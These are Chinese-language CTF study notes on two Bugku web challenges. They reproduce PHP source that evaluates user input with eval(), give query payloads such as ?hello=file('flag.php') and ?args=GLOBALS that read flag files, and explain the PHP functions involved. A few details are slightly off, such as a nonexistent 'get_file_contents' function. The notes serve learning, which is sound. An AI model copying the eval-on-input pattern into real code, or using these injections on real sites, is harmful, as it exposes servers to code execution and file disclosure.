CTF bugku web
1、檔案包含漏洞:
include()函式和php://filter可以用與讀取檔案原始碼:
?hello=get_file_contents('flag.php')
?hello=file('flag.php') ##file() 函式把整個檔案讀入一個數組中,並將檔案作為一個數組返回
<?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__); ?>
<?php
include "flag.php"; ——include()函式和php://input,php://filter結合很好用,php://filter可以用與讀取檔案原始碼,結果是原始碼base64編碼後的結果
eval( "var_dump($a);"); ——eval() 函式會把字串引數當做程式碼來執行、var_dump() 函式可以輸出任何內容:輸出變數的容,型別或字串的內容,型別,長度
show_source(__FILE__);
?>
print_r() 函式只用於輸出陣列。
hello=file(“flag.php”),最終會得到var_dump(file(“flag.php”)),以陣列形式輸出檔案內容。
3、全域性變數
preg_match("/^\w+$/",$args)
^xxx以什麼開頭 \w表示字母 xxx$表示以什麼結尾 表示agrs是:以一個或多個字母開頭和結尾
eval("var_dump($$args);"); //可以看到eval的引數字串最後已經加上了分號 $$容易引起變數覆蓋,$GLOBALS 引用全域性作用域中可用的全部變數
/index1.php?args=GLOBALS ##$args 之後解析 $GLOBALS直接到了flag1.php中的全域性變數
flag In the variable ! <?php error_reporting(0); include "flag1.php"; highlight_file(__file__); if(isset($_GET['args'])){ $args = $_GET['args']; if(!preg_match("/^w+$/",$args)){ die("args error!"); } eval("var_dump($$args);"); } ?>
flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__); ——__FILE__ : highlight_file() 函式對檔案進行 PHP 語法高亮顯示highlight_file(filename,return) //規定要顯示的檔案, //return,為TRUE,該函式將以字串形式返回高亮顯示的程式碼;預設FALSE當前內容寫在哪個檔案就顯示這個檔案目錄+檔名 絕對路徑
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^w+$/",$args)){ ——正則表示式匹配: int preg_match( string pattern, string subject [, array matches ] )//正則表示式,需要匹配檢索的物件,$matches[0] 將包含與整個模式匹配的文字,$matches[1] 將包含與第一個捕獲的括號中的子模式所匹配的文字,以此類推preg_match() 第一次匹配成功後就會停止匹配,如果要實現全部結果的匹配,即搜尋到subject結尾處,則需使用 preg_match_all() 函式。
die("args error!"); ——die() 函式輸出一條訊息,並退出當前指令碼
}
eval("var_dump($$args);"); ——eval() 函式把字串按照 PHP 程式碼來計算,該字串必須是合法的 PHP 程式碼,且必須以分號結尾。如果沒有在程式碼字串中呼叫 return 語句,則返回 NULL。如果程式碼中存在解析錯誤,則 eval() 函式返回 false。
}
?>
getcwd() :顯示是 在哪個檔案裡呼叫此檔案 的目錄 絕對路徑
__DIR__ :當前內容寫在哪個檔案就顯示這個檔案目錄 絕對路徑
error_reporting() 設定 PHP 的報錯級別並返回當前級別
error_reporting(0); //禁用錯誤報告
error_reporting(E_ERROR | E_WARNING | E_PARSE); //報告執行時錯誤
error_reporting(E_ALL); //報告所有錯誤